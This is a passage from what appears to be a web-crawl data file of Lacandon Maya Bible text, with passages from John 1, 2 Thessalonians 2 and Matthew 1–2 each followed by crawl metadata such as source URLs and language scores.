ts'aj ic najtiquex ij cuxtarex munt q'uin. Quire' a ba' caj u betaj rajen raji' u sasirir to'onex a mac a cu manob ich yoc'ocab a mac a cu manob ich yac'birir quire' yʌn u si'pirob. 5Raji' quib a cu ye'c'ac'tic tu yʌn ac'bir. A ac'biro' mʌ' c'ucha'an yor u tupic u sasirir. Baxuc arayo' yejer Jesús xan, cax mʌ' u c'atob Jesús mac. Raji' tan u ts'ic to'onex ij cuxtarex munt q'uin.\nA jera' cu tsicbar bic tabar u parar C'uj tu ch'aj u winquirir\n6A ucho' ti' yʌn mac u c'aba' Juan. Raji' ts'a'b u beyaj ten C'uj. 7A Juano' caj u tsec'taj u sasirir a cu tar ich C'uj a cu sasiquintic mac. Mʌ' ja wirej, wa quij cacsiquex ij corex u sasirir ic pixamex, mʌ' ac'bir ic pixamexi'. Juan caj u tsec'taj soc u yacsic tu yor tu cotor mac a ba' cu yubic ya'aric Juan. 8A Juano' mʌ' ra' cu sasiquintic mac, u sasirir a cu tar ich C'uj, cu chen tsec'tic a cu sasiquintic mac. Quire' ara'b ti' ca' u tsec'tej. 9Wa ber a Juano' tan u tsec'tic ti' uch. Toc ts'oc u c'uchur tera' ich yoc'ocab, raji' a cu ts'ic ij cuxtarex soc u sasiquintic ic pixamex. Quire' ra' u beyaj.\n10Raji' c'uchij ich yoc'ocab a caj u betaj yoc'ocab. Chen mʌ' c'ʌ'ota'b ten a mac ti' yʌn ich yoc'ocabo'. 11Caj c'uchij ich yoc'ocab soc u yet manob u winiquirob judío a mac teta'b ten C'uj uch. Chen mʌ' tu sʌjtajobi'. 12Chen yʌn mʌ' ya'ab mac a tu sʌjtajo', a tu yacsaj tu yor a ti'o'. Raji'ob yer ts'a'b u beyaj ten C'uj soc u to'car ti'ob. Ara'b ti'ob ten C'uj, raji'ob u parar C'uj a cu yacsicob tu yor ti'. 13Mʌ' ja wirej, a maque' u parar C'uj quire' caj u yacsaj tu yor. Raji' mʌ' baxuc a mac jach pararinta'b ten u tet quire' raji' quir a cuxtar techex yoc'ocab. Raji' mʌ' baxuc u pararinta'b ten u nʌ' quire' baxuc cu pachtic u pararʌncʌr a xquico'. Chen a mac a ju parar C'uj munt q'uin u cuxtar.\n14Chen a mac a tar tsicbʌta to'onex bicyʌra' C'uj tu ch'aj u winquirir an ten bic to'onex. Tarij soc ij quet man a mac a ju winiquirob judío. Tij quiraj jach manan u muc'. Quire' raji' u parar C'uj, rajen baxuc jach manan u ne'er ba'. Ic Tet C'uj jari' turiri' u parar. Raji' quet cu yajquinto'onex. Raji' quet taj cu tsicbar. 15A Juano' caj u tsec'taj ti' a cu bin tar. Caj u ya'araj ti':\n―A jeroj, bin, a mac a tin wa'araj techex uch. A pachir cu tar, raji' jach no'j beyaj caj in wa'araj. Chen in beyaj a teno', mʌ' neno'jeni'. Cax mʌ' toy u rochen in nʌ', u toc beri' a ti'o' quire' rajra' ti' yʌn.\n16Quire' jach tsoy yor a cu tar ich C'uj, rajen u jach tsoyirir C'uj caj ij c'ʌmaj. Rajra' tan u ts'ic to'on a ba' tsoy tu t'ʌn C'uj. 17Mʌ' ja wirej, u winiquirob judío caj u c'ʌmajob u nunquirob u t'ʌn C'uj a ts'ab ten Moisés uch. Chen a Jesucristojo' caj u yesaj bic C'uj caj u yajquintaj to'onex quire' otsir to'onex yirico'onex. Quire' a Jesucristojo' xan tij cu'yajex u t'ʌn C'uj a ba' taj. 18Mʌna' mac yirmʌn C'uj. Chen u parar C'uj tu yiraj u Tet. Jari' u parar turiri' raji' jach yajbir ten u Tet. Raji' caj u yesaj to'onex bicyira' C'uj.\nJuan a cu yacsic ja' tu jo'r mac caj u tsec'taj ti' Jesucristo\n(Mt. 3.11‑12; Mr. 1.7‑8; Lc. 3.15‑17)\n19U winiquirob judío a ti' cʌja'anob ich u cajar Jerusalén. Raji'ob caj u tuchi'tajob sacerdote yejer a mac a cu beyajob ich carem naj tu cu naj c'ujinticob u winiquirob judío. Levitas u c'aba'ob. Tuchi'ta'b quir u c'ata' ti' Juan:\n―Maquechi'?\n20A Juano' mʌ' ju mucraj caj u ya'araj:\n―Mʌ' Cristojeni', mʌ' yʌjtaquiren maqui', a cu bin tar.\n21Caj u ca' c'atob ti' Juan:\n―Arej to'on maquechi'? A techo' wa Elíasech soc in wa'aricob ti' in rac'ob a tu tuchi'tenob?\nJuan caj ya'araj:\n―Mʌ' Elíaseni'.\nCaj u ca' c'atob ti':\n―Mʌ' wa tech yʌjtseq'uirech u t'ʌn C'uj a tan in pajicob u tar?\nJuan caj u nuncaj, tan ya'aric ti'ob:\n―Mʌ' teni'.\n22A tuchi'ta'b caj u ya'arob ti' Juan:\n―Arej tenob maquechi' soc in wa'aricob ti' a macob a tu tuchi'tenob ba' a beyaj tech, arej tenob.\n23A Juano' caj u nuncaj caj u ya'araj:\n―Isaías caj u tsec'taj ti' ten uch. Baxuc a jera' caj u tsec'taj Isaías uch tan ya'aric: \"Ti' cu bin tar mac ca' bin c'uchuc tu q'uinin quir u c'am tsec'tic ich tʌcay ru'um.\" C'am cu bin ya'aric: \"Tajquintex a worex soc c'ucha'an a worex a qui' acsiquex Jaj Ts'urir irex ca jariquex u ber soc u tar rey.\" Baxuc caj ya'araj Isaías uch.\n24A mac tuchi'ta'b ten u winiquirob judío a fariseojo' caj c'uchob ich Juan. 25Caj c'uchob caj u c'atajob ti' Juan:\n―Biquinin ca wacsic ja' tu jo'r mac wa mʌ' tech Cristojech? Quire' mʌ' Elíasech xan, baxuc mʌ' yʌjtseq'uirech u t'ʌn C'uj xan?\n26Juan caj ya'araj ti'ob:\n―A teno' ra' in beyaj quir in wacsic ja' tu jo'r mac. Chen a mac jach no'j beyaj ti' yʌn tu yʌnechex baje'rer. Chen a techex mʌ' a c'ʌ'omʌnexi'. 27Raji' a cu tar pachir raji' jach no'j u beyaj chen a teno' mʌ' jach no'jen beyaj. Mʌ' pataren a teno' cax in chen pitic u c'anin pech' u xʌnʌb.\n28Caj tarob u c'atej ti' Juan tu yʌn cu ya'aricob Betábara, raji' pichir ya'arir Jordán tu cu tar ic yum. Ti taro' Juan tan yacsic ja' tu jo'r mac.\nJuan caj u ya'araj: Raji' irej u tʌmʌn yuc C'uj\n29U jer u q'uinin Juan caj yiraj Jesús Juan. A Jesúso' tan u juts'ic u bʌj ich yicnʌn Juan. Caj ya'araj Juan:\n―Ir a wirex a je' cu taro' ts'a'b u beyaj ten C'uj. Raji' irej u tʌmʌn yuc C'uj quire' cu bin u quinsa'r soc u rʌc ruc'sic ic si'pirex. Baxuc tu cotor mac a ti' yʌn ich yoc'ocab. 30A jera' a tin yʌn bat'an araj tech uch caj in wa'araj techex: \"A pachir cu taro', rajra' ti' yʌn a pachir cu tar cax mʌ' toy u rochen in nʌ' uch a ti'o'. Toc beri' ucho'.\"\n31Juan caj ya'araj:\n―A teno' xan mʌ' tin c'ʌ'otaj wa raji' ij cʌjtaquirex. Mʌ' ja wirej, taren in wacsic ja' tu jo'r u winiquirob judío soc u c'ʌ'oticob a cu tar ich C'ujo'.\n32Juan caj ya'araj ti'ob:\n―A teno' caj in wiraj u yeman u Taj'or u Pixam C'uj ich ca'anan, irej susuy caj c'uchij tu yʌni'. Ti' p'atij tu yʌni'. 33A teno' uch mʌ' tin c'ʌ'otaj. Chen a C'ujo' a tu ts'aj in beyaj quir in wacsic ja' tu jo'r mac caj ya'araj ten C'uj: \"Ca' bin a wirej, quij C'uj, u yeman u Taj'or u Pixam C'uj. Ca wiric tu cu p'atʌr yejer. Raji' cu bin u ts'ic tech u Taj'or u Pixam C'uj.\" Baxuc caj ya'araj C'uj ti' ten ―quij Juan―. 34Baxuc caj in wiraj, rajen quin wac techex raji' u parar C'uj.\nU camsʌwinicob Jesús a tu yʌn pʌyaje'\n35U jer u q'uinin a Juano' tiri' yʌn tu yʌn jo'raj. Ti' yʌn Juan yejer ca'tur u camsʌwinicob. 36Juan caj yiraj u man Jesús, caj u ya'araj ti' u camsʌwinicob:\n―Iriquex a jera', raji' irej u tʌmʌn yuc C'uj, quir u ruc'sic u si'pir tu cotor mac ich yoc'ocab.\n37Caj yubob ya'aric Juan a ca'tur u camsʌwinicob Juan caj sayob tu pach Jesús. 38Jesús caj u sut u bʌj u pʌctej tu pach. Caj yiraj tan u tar tu pach, caj ara'b ti'ob:\n―Ba' ca cʌxtiquex? ―quij.\nRobob caj ya'arob ti':\n―In wʌjcamsʌyʌjirechob, tu cʌja'anech?\n39Jesús caj u nucaj ti'ob, tan ya'aric:\n―Cuxex a wirej.\nCaj c'uchob tu yirajob tu cʌja'an. Jesús caj u yacsaj ti'ob quire' tabar u bin q'uin. Ti' wenob.\n40Turiri' a tu yuba ya'aric Juan, a ca'tur u camsʌwinic, caj say tu pach Jesús, raji' u c'aba' Andrés. Raji' u sucu'un Simón Pedro. 41Seb caj bin u cʌxtej u sucu'un Simón. Caj ya'araj ti':\n―Tin wiraj a cu ya'ara' Mesías ―raji' u c'at ya'aric Cristo a tuchi'ta'b ten C'uj.\n42Andrés caj bin yejer u sucu'un tub yʌn Jesús. Caj irir Simón ten Jesús, caj u ya'araj ti':\n―A techo' ―quij Jesús―, Simónech, u pararech Jonás. Chen yʌn in pʌchic a c'aba' Cefas, aro' Pedro a c'aba' ―a Cefaso' ich u t'ʌn u winiquirob judío, quet ich u t'ʌn griego cu ya'aric Pedro.\nJesús cu pʌyic Felipe yejer Natanael\n43Caj sasij Jesús u c'at u bin ich u ru'umin Galilea. Mʌ' toy xiqui' caj u nup'a Felipe caj ya'ara ti':\n―Sayen ―quij Jesús―, tin pach quir a cʌnic in t'ʌn.\n44A je' Felipeja' ti' cʌja'an ich u cajar Betsaida. Tu cʌja'anob Andrés xan yejer Pedro. 45Felipe caj bin u cʌxtej Natanael, caj u yiraj caj ya'araj ti':\n―Tij quiraj ―quij Felipe―, a mac ts'ibta'b ten ic nunquir Moisés uch ich u t'ʌnob. Baxuc raji'ob tu ts'ibtajob ic nunquir yʌjtseq'uirob u t'ʌn C'uj uch. Baxuc raji' u parar José a ti' cʌja'an ich u cajar Nazaret.\n46Natanael caj c'ataj ti' Felipe tan ya'aric:\n―Mʌ' ij cu'wimʌn a mac jach tsoy a cu tar ich u cajar Nazaret.\nFelipe caj u nuncaj:\n―Cojen irej ―quij ya'araj ti'.\n47Jesús caj u yiraj tan u c'ʌs juts'ic u bʌj Natanael ich Jesús. Jesús caj ya'araj:\n―A je' cu tara' a mac taj u yor ich u winiquirob judío. Mʌ' yer bic tabar u tus aric mac.\n48Natanael caj u c'ataj ti':\n―Bic a c'ʌ'otiquen?\nJesús caj ya'araj ti':\n―A teno' ―quij Jesús―, caj in wirech yaran u che'er higuera cax mʌ' toy u t'ʌnech Felipe.\n49Caj ara'b ti' ten Natanael:\n―In wʌjcamsʌyʌjirech ―quij Natanael―, a techo' u pararech C'uj. Baxuc je' a wocar a reyintic u winiquirob judío.\n50Jesús caj u nuncaj ti', tan ya'aric:\n―Quire' ―quij Jesús―, caj in wa'araj tech caj in wirech yaran u che'er higuera, rajen caj a wacsa ta wor ten? Jach tsoy baxuc, quire' ta wacsaj ta wor. Ca' bin c'uchuc tu q'uinin je' in wesic tech jach manan in ne'er ba'.\n51Baxuc xan Jesús caj u ya'araj ti' u camsʌwinicob.\n―Taj a ba' quin wac techex. A techexo' je' a wiriquex u q'ue'pʌjʌr ca'anan soc a wiriquex u yeman yʌjmasirob u t'ʌn C'uj tu yʌnen. Je' a wiriquex u nacar ich ca'anan yʌjmasirob u t'ʌn C'uj. Quire' a teno' baxuquenechexo'.\nLadataan kohtaa toisesta käännöksestä...","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.bible.com\/fi\/bible\/786\/jhn.1.lacnt","date":"2014-03-14T19:25:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678694619\/warc\/CC-MAIN-20140313024454-00015-ip-10-183-142-35.ec2.internal.warc.gz","language":"lac","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"lac_Latn_score\": 1.000003695487976}","num_words":1837,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A techexo' caj a c'atex tenob bic tabar ca' bin ic much'quintiquex ic bʌjex ca' bin uruc ic Jaj Ts'urirex Jesucristo. Chich quin wacob techex in wet acsʌ'orirechexob. Ra' u q'uinin ca' bin uruc Jesús.\n2Mʌ' a yʌn xac' tucurex mʌ' u jac'ʌr a worex xan. Cax cu jumbinticob techex. Cax ta wu'yex ti' yʌn u ju'unin ten. Quire' ta wu'yex c'uchij tu q'uinin cu yu'ur ic Jaj Ts'urirex.\n3Mʌ' a ch'a'ic u tabsiquex mac chichin. Cax mʌ' toy tac u q'uinin u tar Jesús raji' cu yʌn c'uchur u q'uinin a winico'. Raji' cu yʌn ya'arej: Mʌ' a c'ujintiquex C'uj quire' mʌna' C'uj. Rajen bin u ca' rʌc p'ʌtob u t'ʌn C'uj. Pachir ca' bin tac xib a mac jach manan c'aso'. Ara xibo' bin u ca' tu c'aq'uir beta'an munt q'uin quire' toc ara'b ten C'uj uch, quij.\n4Bin u ca' xac' tu bʌj tu cotor a ba' c'ujinta'b ten winic cax jach C'uj, cax tus c'uj. Bin u ca' u p'astob quire' bin u ca' ya'arej: A teno', jach caremen, arayo' mʌ' c'ucha'an yorob teni' quire' jach manan caremen ateno'. Bin u ca' ocar cutar tu japnin naj tu cu naj c'ujinticob C'uj u winiquirob israel soc ya'aric: A teno', quij, jach c'ujen' soc u c'ujinta'r ten mac tu cotor.\n5Mʌ' wa c'aj techex a ucho' ti' yʌnenob ta wicnʌnex caj in wa'araj techex aro'?\n6A werex cu su'sa' ten C'uj a mac jach c'as hasta cu c'uchur tu q'uinin cu cha'bʌr u tar. Mʌ' ja wirej, chen C'uj su'sic a baje'rer soc mʌ' u tar.\n7A mac a jach c'aso', a bin u ca' yes u bʌj, a tan u muc u beyaj baje'erer. Hasta cu bin a mac a mʌ' ju cha'bʌr u tar, a mac a cu muc u beyaj baje'rer.\n8Ca' bin c'uchuc tu q'uinin u cha'bʌr u tar, bin u ca' yesic u bʌj, a mac a jach manan c'aso'. Raji' bin u ca' quinsbir ten C'uj. Raji' bin u ca' quinsbir ten u yic'ar u chi' ic Jaj Ts'urirex Jesús. Je' ch'ejsa'r xan ten u sasirir C'uj ca' bin tac Jesús.\n9A mac a jach c'aso' bin u ca' yesic u bʌj. Bin u ca' yesic u bʌj quire' yamta' ten quisin. Aro' bin u caj tar jach chich u muc', quire' bin u ca' u tus esej jach carem u beyajob irej wa C'uj.\n10A rayo', a mac a jach c'aso' bin u ca' u c'ʌmob tu cotor c'as, soc u jach tusic tu cotor mac a mʌ' ju c'ʌmob u t'ʌn C'uj. Mʌ' ja wirej, robob bin u ca'ob erar ich c'ac'. Ti' cu binobi' quire' mʌ' u c'atob u yacsicob tu yorob u t'ʌn C'uj soc u cuxtarob munt q'uin.\n11Rajen a C'ujo', je' u cha'ic u tabsa'rob ten a cu tuso' soc u quibicob a ba' mʌ' taji', quire' mʌ' u c'atob u parar C'uji'.\n12A C'ujo' cu cha'ic ca' u quibob a mac a cu tuso' soc u bin tuchi'ta'rob ten C'uj ich c'ac'. Quire' mʌ' u yacsmʌnob tu yorob ti' Jesucristo rajen bin u ca'ob ich c'ac' quire' chen robob cu qui'quinticob yorob ich a c'aso'.\n13In wet acsʌ'orirechexob yajbirechex ten ic Jaj Ts'urirex quire' teta'bechex ten C'uj. Mʌ' ja wirej, a tu yʌnx chun a wu'yiquex u t'ʌn C'uj caj a wacsex ta worex ti' u t'ʌn. Rajen rajra' quin wa'aricob: \"Bayo' C'uj\" quire' teta'bechex ten u Taj'or u Pixam C'uj. Mʌ' ja wirej, raji' tu pʌyechex wa ber caj a quibex u t'ʌn C'uj soc a wacsiquex ta worex u tajir u t'ʌn.\n14Rajen a techexo', teta'bechex ten C'uj quire' tu t'ʌnechex wa ber caj in tsec'tob techex u jach tsoyir u t'ʌn C'uj uch. Caj u tetechex C'uj soc u yacsiquechex ic Jaj Ts'urirex tu ru'umin tu cu bin u reyintic C'uj.\n15Rajen quin wacob techex in wet acsʌ'orirechexob, mʌ' u pec a worex. Qui' cʌnantex u t'ʌn C'uj a ba' ta wu'yex in camsicob uch. Cax a ba' tin ts'ibtob techex uch. Cax a ba' ta wu'yex in camsicob techex, qui' cʌnantex.\n16Baje'rer a C'ujo', a mac ic Tetex, quire' cu yajquintico'onex, tan u chichquintic a worex munt q'uin. Bayiri' xan ic Jaj Ts'urirex. Ra' in c'atob C'uj techex. Mʌ' ja wirej, tan ic pajiquex C'uj yejer Jesucristo quire' cu yamtico'onex quire' u yajo'onex.\n17Quin c'atob ti' C'uj ca' u qui'quintej a worex soc chich a worex quir a betex tu cotor a tsoyo'. Soc ca' a wu'yex a ba' jach tsoyo'.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/breakeveryyoke.com\/2-tesalonicenses-2---a-quet-u-t%CA%BC%CA%8Cno%CA%BC-a-ric%CA%BCbeno%CA%BC","date":"2021-06-16T08:55:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487622234.42\/warc\/CC-MAIN-20210616063154-20210616093154-00538.warc.gz","language":"lac","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"lac_Latn_score\": 1.0000067949295044}","num_words":741,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.514,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nA mac u ne'er ba' tar yiricob chan Jesús\n1Jesús, quij Mateo, caj rocha'b ich u cajar Belén. A Beléno' ti' yʌn ich u ru'umin Judea. Cu reyintic Herodes ich u ru'umin Judea caj rocha'b Jesús. Tar u tar ich u cajar Jerusalén. Caj c'uchob ich u cajar Jerusalén tar u tarob tu cu tar ic yum. Robob u ne'er ba' caj c'uchob. Jun yarob caj c'uchob ich u cajar Jerusalén. 2A mac u ne'er ba' caj u c'atajob ich u winiquirob judío tu cajar Jerusalén:\n―Tu rocha'b u rey u winiquirob judío? Mʌ' ja wirej, tij quiraj u sab, jach carem, a cu yesic toc rocha'b ten u nʌ'. Tij quiraj tu cu tar ic yum. Rajen caj taro'on ca' ij c'ujintej ich u cajar Jerusalén.\n3Caj yubaj u rey Herodes ba' cu manob u c'aticob caj jaq'uij yor, Herodes. Baxuc tu cotor mac cʌja'an ich u cajar Jerusalén, caj jaq'uij yorob a ba' caj u yubob u c'atobi'. 4Rajen u rey Herodes, caj u pʌyaj u c'atej ti'ob, tu cu bin rochbir a mac a cu bin tuchi'bir ten C'uj quir u taquic mac tu cotor. Caj u c'ataj ti' u jach ts'urirob sacerdote u winiquirob judío. Baxuc, caj u c'ataj Herodes ti' a cu camsicob u t'ʌn Moisés ti' u winiquirob judío:\n―Tu cu bin rochbir Cristo? ―quij Herodes.\n5Robob caj u ya'arajob ti' Herodes:\n―Yʌn u rocha'r Cristo ich u cajar Belén quire' ti' yʌn tu ru'umin Judea. Mʌ' ja wirej, baxuc caj u ts'ibtaj yʌjtseq'uir u t'ʌn C'uj uch:\n6Caj ya'araj yʌjtseq'uir u t'ʌn C'uj uch: Tar yʌn ich u cajar Belén tu ru'umin Judea, quij. Jach manan co'oj u cajar Belén ich tu cotor u cajar tu ru'umin, quij C'uj. Quire' ti' cu tar tub yʌnech, quij, a mac cu bin u reyinticob u winiquirob israel, quij C'uj. Ti' cu bin rocha'r ten u nʌ', a mac a cu bin u cʌnantic u winiquirob israel.\nBaxuc caj u ya'araj C'uj ti' yʌjtseq'uir u t'ʌn C'uj uch.\n7Rajen caj u muc u pʌyaj Herodes caj u c'ataj ti' a u ne'er ba':\n―P'iseten ―quij Herodes― mun u q'uinin caj a yʌn irex u joc'ar sab u rey u winiquirob judío?\n8Caj u tus a'araj Herodes ti' a ju ne'er ba':\n―Ca' xiquechex ich u cajar Belén ca' a qui' cʌxtex a wirej tu yʌn Cristo tu rocha'b. Wa ca wirique', purex a t'ʌn ten soc in tar in c'ujintic xan.\n9Caj ts'oc yubic ya'ara' ten u rey Herodes caj binob a ju ne'er ba'. Caj joc'ob ich u cajar Jerusalén caj yirob sab quet cu binob yejer, sab tu cu tar ic yum, hasta c'uchij tu yʌn chan Cristo. Ti' xurij sab ich chan Cristo. 10Caj yirob xurij sab jach manan qui' yorob a ju ne'er ba'. 11Caj ocob ich yatoch tu yʌn chan Cristo. Caj yirob rocha'an chan Cristo ten u nʌ' María. Caj yirob chan Cristo caj xonrajob ich Cristo quir u c'ujinticob. Sansan caj u jarob u chan coprej quir u sijajob ba' ti' chan Cristo. Caj u sijajob oro. Caj u sijajob ti' u ts'ac pom. Caj u sijajob u ts'ac mirra. A je' ts'aca' quir u cho'wic tu baquer mac a cu quimine' quire' qui' u boc. 12Caj ts'oc yiricob chan Cristo a ju ne'er ba', caj ara'b ti'ob ten C'uj tu cu wʌyʌc'ob:\n―Mʌ' ja binex ich u rey Herodes ―quij C'uj.\nRajen caj sutnʌjob tu cajarob chen u jer u berir ti' binobi'.\nCaj puts' José yejer María ich u ru'umin Egipto yejer chan Cristo\n13Caj ts'oc u binob a ju ne'er ba'. A Joséjo' caj u wʌyʌc'taj yʌjmasir u t'ʌn C'uj. Caj ara'b ti' ten yʌjmasir u t'ʌn C'uj:\n―Riq'uen ca' xiquech yejer chan Cristo yejer u nʌ'. Tar a bin ich u ru'umin Egipto, ti' ca p'atʌr ich u ru'umin Egipto hasta quin wa'aric tech ca' su'nʌquech tera'. Quire' u rey Herodes u c'at u cʌxtic u quinsej chan Cristo ―baxuc caj ara'b ti' ten yʌjmasir u t'ʌn C'uj tu cu wʌyʌc' José.\n14Caj ts'oc u wʌyʌc' José caj ajij, caj riq'uij caj binij yejer María yejer chan Cristo. Binob ich u ru'umin Egipto, cax ac'bir caj binob. 15Ti' p'atobi' ich u ru'umin Egipto hasta quimij u rey Herodes. Soc u nup'ur u t'ʌn C'uj, rajen binob ich u ru'umin Egipto. Quire' caj u ya'araj yʌjtseq'uir u t'ʌn C'uj uch: \"Ti' quin payic in parar, quij C'uj, ich u ru'umin Egipto.\" Baxuc caj u ya'araj yʌjtseq'uir u t'ʌn C'uj uch.\nHerodes caj u ya'araj: Xen quinsex a chan ochir ich u cajar Belén\n16Caj yubaj Herodes caj u tusarob ti' Herodes a ju ne'er ba'. Caj ts'iquij u rey Herodes. Rajen caj u ya'araj Herodes ti' u soldadojob:\n―Ca' xiquex a quinsex a chan ochir xib ich u cajar Belén. Ca' a rʌc quinsex chan ochir, a ca'tur yaxq'uin caj rocha'b ten u nʌ'. Cax tep u ca'ob, rʌc quinsex ich u cajar Belén. Baxuc caj u yubaj yacob a ju ne'er ba'.\nCa'tur yaxq'uin caj irob a sabo'. Rajen caj u toc quinsajob chan ochir soldadojob:\n―Cʌxtex u chan ochir a nʌts'a'an ich u cajar Belén ca' a quinsex.\n17Baxuc caj u ch'ic araj yʌjtseq'uir u t'ʌn C'uj Jeremías uch. Quire' caj u ya'araj Jeremías uch:\n18Caj yubob u t'ʌnob ich u cajar Ramá, Jeremías tu ch'ic tsec'taj. Mʌ' toy quinsac chan ochir caj u tsec'taj: Tan yoc'arob tan yac'ticob quire' mʌna' u chan ochir. Jach ya'ab cu yac'ticob u chan ochir an ten bic Raquel caj u yac'taj uch. Mʌna' mac cu qui'quintic yorob quir u ch'enʌn yoc'arob quire' yiric mʌna' u chan ochir.\nBaxuc caj u tsec'taj Jeremías uch.\n19Barej caj quimij u rey Herodes. José caj u wʌyʌc'taj yʌjmasir u t'ʌn C'uj ich u ru'umin. Caj ara'b ti':\n20―Xen ―quij ya'araj ti'―. Mʌna' Herodes, quimij. Mʌna' mac cu quinsic chan Cristo. Riq'uen ca' xiquech yejer chan Cristo. Ca' sutnʌquech ta pach ich u ru'umin Israel ―baxuc ara'b ti' José ten yʌjmasir u t'ʌn C'uj.\n21Caj ts'oc u wʌyʌc' José. Caj ajij José caj riq'uij, caj bin ich u ru'umin Israel. Caj bin yejer u nʌ' chan Cristo, bayiri' yejer chan Cristo. 22Caj yubaj ya'ara' José cu reyintic u parar Herodes ich u ru'umin Judea. Caj yuba ya'ara' oc u reyintic caj quim u tet. U c'aba' u parar Herodes, Arquelao. Rajen caj u ch'aj sajaquir José quir u sut tu pach ich u ru'umin Judea. Caj u wʌyʌc'taj yʌjmasir u t'ʌn C'uj José. Caj ara'b ti':\n―Xen ich u ru'umin Galilea.\nRajen binij José ich u ru'umin Galilea. 23Baxuc caj c'uchij José yejer u nʌ' Jesús ich u ru'umin Galilea. Caj bin u cʌjtarob ich u cajar Nazaret. Ti' cajij quir u nup'ur u t'ʌn C'uj. Baxuc ara'b ti' ten yʌjtseq'uir u t'ʌn C'uj uch:\n―Raji' ti' cu tar ich u cajar Nazaret. Rajen ara'an u winiquir nazaret.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.2.LACNT","date":"2021-07-30T19:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153980.55\/warc\/CC-MAIN-20210730185206-20210730215206-00710.warc.gz","language":"lac","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999881982803345}","num_words":1136,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.273,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:20 LACNT\nJosé caj u tucraj ich yor bic cu bin u p'ʌtic María. Caj u wʌyʌc'taj José yʌjmasir u t'ʌn C'uj. Ara'b ti' ten yʌjmasir u t'ʌn C'uj:\n―Mʌ' ja ch'ic sajaquir ―quij ya'araj ti' José―, quire' a techo' u pararech a nunquir David. Tsoy a ch'ic a raq'uintej María. Yʌn u parar quire' ara'b ti' ten u Taj'or u Pixam C'uj ca' yanac u parar.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.20.LACNT","date":"2021-08-05T22:16:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00339.warc.gz","language":"lac","language_score":0.9998977184,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998977184295654}","num_words":75,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.301,"stopwords_ratio":0.493,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:5 LACNT\nA Salmónjo' caj u raq'uintaj ra' u c'aba' Rahab. Caj c'uchij tu q'uinin u pararʌncʌr u rac' Rahab yʌn u parar ra' u c'aba' Booz. A Boozo' caj u raq'uintaj ra' u c'aba' Rut. Caj c'uchij tu q'uinin u pararʌncʌr u rac' Rut yʌn u parar ra' u c'aba' Isaí.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.5.LACNT","date":"2021-08-05T22:17:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00140.warc.gz","language":"lac","language_score":0.9998555183,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9998555183410645}","num_words":60,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.308,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:11 LACNT\nA Josíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jeconías. A Jeconíaso' yʌn ya'ab u sucu'unob. A Jeconíaso' caj pararnʌjij u rac' tu q'uininin caj bin purbir ich u ru'umin Babilonia u winiquirob israel. Chucbir u winiquirob israel caj bin purbir ich u ru'umin Babilonia.\nLACNT: A quet u t'ʌno' a ric'beno'","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.bible.com\/bible\/786\/MAT.1.11.LACNT","date":"2021-08-05T21:31:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00533.warc.gz","language":"lac","language_score":0.9994475245,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9994475245475769}","num_words":62,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAN MATEO 1:22 LACNT\nMʌ' ja wirej, quij Mateo, a C'ujo' caj u toc araj je' u tar Cristoje'. Quire' baxuc caj u tsec'taj yʌjtseq'uir u t'ʌn C'uj Isaías uch. Rajen nup' u t'ʌn baje'rere'. Mʌ' ja wirej, tarij Cristo. U'yex ba' caj u ya'araj yʌjtseq'uir u t'ʌn C'uj uch\nLACNT: A quet u t'ʌno' a 